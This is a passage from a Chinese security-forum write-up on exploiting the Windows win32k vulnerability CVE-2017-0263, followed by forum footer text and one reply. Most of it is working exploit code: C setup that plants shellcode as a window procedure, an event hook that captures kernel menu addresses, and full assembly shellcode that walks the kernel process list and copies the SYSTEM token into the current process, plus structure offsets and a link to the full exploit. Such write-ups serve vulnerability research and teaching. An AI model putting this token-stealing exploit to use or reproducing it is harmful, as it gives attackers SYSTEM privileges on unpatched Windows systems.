但这里有个问题,第二次释放的伪造的tagPOPUOMENU内存在线程退出的时候,程序会对它进行释放,此时因为漏洞的第二次释放的时候已经释放过这块内存了,就导致线程退出时候的释放是一块已经被释放的内存,就会造成BSOD的产生:

因此,在执行ShellCode的时候,应当把tagCLS的lpszMenuName成员清空。此时的ShellCode是以结构体的形式定义的,定义如下,其中成员pfnWinProc保存了要执行的ShellCode,tagCLS保存了上面创建的大量窗口的tagCLS:

typedef struct _SHELLCODE {
	DWORD reserved;					// 0x0
	DWORD pid;						// 0x4
	DWORD off_CLS_lpszMenuName;		// 0x8
	DWORD off_THREADINFO_ppi;		// 0xC
	DWORD off_EPROCESS_ActiveLink;	// 0x10
	DWORD off_EPROCESS_Token;		// 0x14
	PVOID tagCLS[0x100];		    // 0x18
	BYTE pfnWinProc[0xBE8];			// 0x418
}SHELLCODE, *PSHELLCODE;

此时通过以下代码就可以指定向窗口发送消息时候,在内核模式下执行ShellCode,同时在ShellCode的上方保存了要用到的数据。

        PSHELLCODE pvShellCode = (PSHELLCODE)VirtualAlloc(NULL,
													  PAGE_SIZE,
													  MEM_COMMIT | MEM_RESERVE,
													  PAGE_EXECUTE_READWRITE);

	if (!pvShellCode)
	{
		ShowError("VirtualAlloc", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	ZeroMemory(pvShellCode, PAGE_SIZE);
	pvShellCode->pid = GetCurrentProcessId();
	pvShellCode->off_CLS_lpszMenuName = 0x50;
	pvShellCode->off_THREADINFO_ppi = 0x0B8;
	pvShellCode->off_EPROCESS_ActiveLink = 0x0B8;
	pvShellCode->off_EPROCESS_Token = 0x0F8;

	CopyMemory(pvShellCode->pfnWinProc, ShellCode_CVE_2017_0263, 0xBE0);

	lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
	if (!HMValidateHandle)
	{
		bRet = FALSE;
		goto exit;
	}

	// 保存tagCLS的地址
	for (i = 0; i < g_dwWindowCount_2017_0263; i++)
	{
		pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)HMValidateHandle(g_hWindowList_2017_0263[i], TYPE_WINDOW) + 0x64);
	}

	DWORD dwOldProtect = 0;

	if (!VirtualProtect(pvShellCode, PAGE_SIZE, PAGE_EXECUTE_READ, &dwOldProtect))
	{
		ShowError("VirtualProtect", GetLastError());
		bRet = FALSE;
		goto exit;
	}
	
	// 指定窗口的消息处理例程
	SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);

在ShellCode中要找到会被释放的tagPOPUPMENU,所以在事件处理函数中,要对其内存地址进行记录,此时的事件处理例程如下,保存的tagPOPUPMENU对象地址,在发送消息的时候将作为参数进行传递:

VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
										 DWORD         event,
										 HWND          hwnd,
										 LONG          idObject,
										 LONG          idChild,
										 DWORD         idEventThread,
										 DWORD         dwmsEventTime)
{
	if (g_dwCount_2017_0263 == 0)
	{
		lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
		// 获取tagPOPUPMENU对象地址
		g_dwPopupMenuRoot_2017_0263 = *(PDWORD)((PBYTE)HMValidateHandle(hwnd, TYPE_WINDOW) + 0xb0);
	}

	if (++g_dwCount_2017_0263 >= 2)
	{
		// 发送销毁菜单消息
		SendMessage(hwnd, MN_ENDMENU, 0, 0);
	}
	else
	{
		// 发生鼠标左键按下消息
		SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
	}
}

要执行的ShellCode代码如下,在内核模式下处理的消息例程第一个参数是窗口句柄,其他是一样的。ShellCode会判断是否是0x9F9F消息,以及是否是内核模式下运行,如果不是就执行失败。如果是,通过call下一条指令的方式获取当前的eip,因为执行的ShellCode是保存在SHELLCODE结构体最后,所以通过当前已经运行的字节数和SHELLCODE结构体前面几个成员的大小获取SHELLCODE结构体的首地址。通过SHELLCODE结构体中保存的tagCLS和传入的参数来处理会被释放的tagPOPUPMENU内存,防止线程退出时出现BSOD。

获取EPROCESS的时候,需要用到tagTHREADINFO的ppi成员,该成员可以找到相应的EPROCESS。而Token对象的引用计数的增加,则是通过增加Token对象的对象头的PointerCount实现的

0: kd> dt win32k!tagTHREADINFO
   +0x0b8 ppi              : Ptr32 tagPROCESSINFO
2: kd> dt win32k!tagPROCESSINFO
   +0x000 Process          : Ptr32 _EPROCESS
1: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   +0x004 NextToFree       : Ptr32 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : UChar
   +0x00d TraceFlags       : UChar
   +0x00e InfoMask         : UChar
   +0x00f Flags            : UChar
   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : Ptr32 Void
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD
DWORD __declspec(naked) ShellCode_CVE_2017_0263(HWND hWnd, int code, WPARAM wParam, LPARAM lParam)
{
	__asm
	{
		push ebp
		mov ebp, esp

		// 如果消息不是0x9F9F,函数退出
		mov eax, dword ptr[ebp + 0xC]
		cmp eax, 0x9F9F
		jne LocFAILED

		// 如果cs的值为0x1B则是用户模式(这里判断低2位是否为0就可以),函数退出
		mov ax, cs
		cmp ax, 0x1B
		je LocFAILED

		// 将bDialogWindow标志位自增
		cld
		// ecx = tagWND
		mov ecx, dword ptr [ebp + 8]
		inc dword ptr [ecx + 0x16]

		pushad
		// 通过当前EIP首地址获取SHELLCODE对象的首地址
		call $5
	$5:
		pop edx
		sub edx, 0x443
		
		//  将tagCLS数组与参数wParam的tagPOPUPMENU对比
		mov ebx, 0x100
		// esi = SHELLCODE->tagCLS
		lea esi, [edx + 0x18]
		// edi = tagPOPUPMENU
		mov edi, dword ptr[ebp + 0x10]

	LocForCLS:
		test ebx, ebx
		je LocGetEPROCESS
		// 获取tagCLS中非0的数值
		lods dword ptr [esi]
		dec ebx
		cmp eax, 0
		je LocForCLS
		// 获取tagCLS->lpszMenuName
		add eax, dword ptr [edx + 8]
		// 比较是否是符合条件的tagCLS
		cmp dword ptr [eax], edi
		jne LocForCLS
		// 不符合则清空
		and dword ptr [eax], 0
		jmp LocForCLS

	LocGetEPROCESS:
		// ecx = tagWND->pti
		mov ecx, dword ptr [ecx + 8]
		// ebx = SHELLCODE->off_THREADINFO_ppi
		mov ebx, dword ptr [edx + 0x0C]
		// ecx = tagTHREADINFO->ppi
		mov ecx, dword ptr [ebx + ecx]
		// ecx = tagPROCESSINFO->EPROCESS
		mov ecx, dword ptr [ecx]
		// ebx = SHELLCODE->off_EPROCESS_ActiveLink
		mov ebx, dword ptr [edx + 0x10]
		// eax = SHELLCODE->pid
		mov eax, dword ptr [edx + 4]

		push ecx
	LocForCurrentPROCESS :
		// 判断PID是否是当前进程PID
		cmp dword ptr [ebx + ecx - 4], eax
		je LocFoundCURRENT
		// 取下一进程EPROCESS
		mov ecx, dword ptr [ebx + ecx]
		sub ecx, ebx
		jmp LocForCurrentPROCESS
		
	LocFoundCURRENT:
		// 将找到的EPROCESS赋给edi
		mov  edi, ecx
		pop  ecx

	LocForSystemPROCESS:
		// 判断EPROCESS的PID是否为4
		cmp dword ptr [ebx + ecx - 4], 4
		je LocFoundSYSTEM
		// 取下一进程EPROCESS
		mov ecx, dword ptr [ebx + ecx]
		sub ecx, ebx
		jmp LocForSystemPROCESS

	LocFoundSYSTEM:
		// 将SYSTEM进程EPROCESS赋给esi
		mov esi, ecx

		// eax=SHELLCODE->off_EPROCESS_Token
		mov eax, dword ptr [edx + 0x14]
		// 当前进程和系统进程EPROCESS指向TOKEN
		add esi, eax
		add edi, eax
		// 将系统进程TOKEN赋值给当前进程的TOKEN
		lods dword ptr[esi]
		stos dword ptr es:[edi]

		// 将系统进程TOKEN对象的PointerCount + 2,即增加引用计数
		and eax, 0x0FFFFFFF8
		add dword ptr[eax - 0x18], 2

		popad
		// 提权成功,返回值设为0x9F9F
		mov eax, 0x9F9F
		jmp LocRETURN

	LocFAILED:
		// 提权失败,返回值设为1
		mov eax, 1
	LocRETURN:
		leave
		ret 0x10
	}
}

四.运行结果

最后还有一个坑,这个漏洞要通过创建新线程来提权,否则主线程会直接卡死,完整代码在https://github.com/LegendSaber/exp/blob/master/exp/CVE-2017-0263.cpp。编译运行exp,最终就会成功提权:

五.参考资料


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-8-4 23:15 被1900编辑 ,原因:
收藏
点赞8
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/07/11 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_sttngdoi 2022-6-17 12:54
2
0
感谢楼主 的分享  好人一生平安
游客
登录 | 注册 方可回帖
返回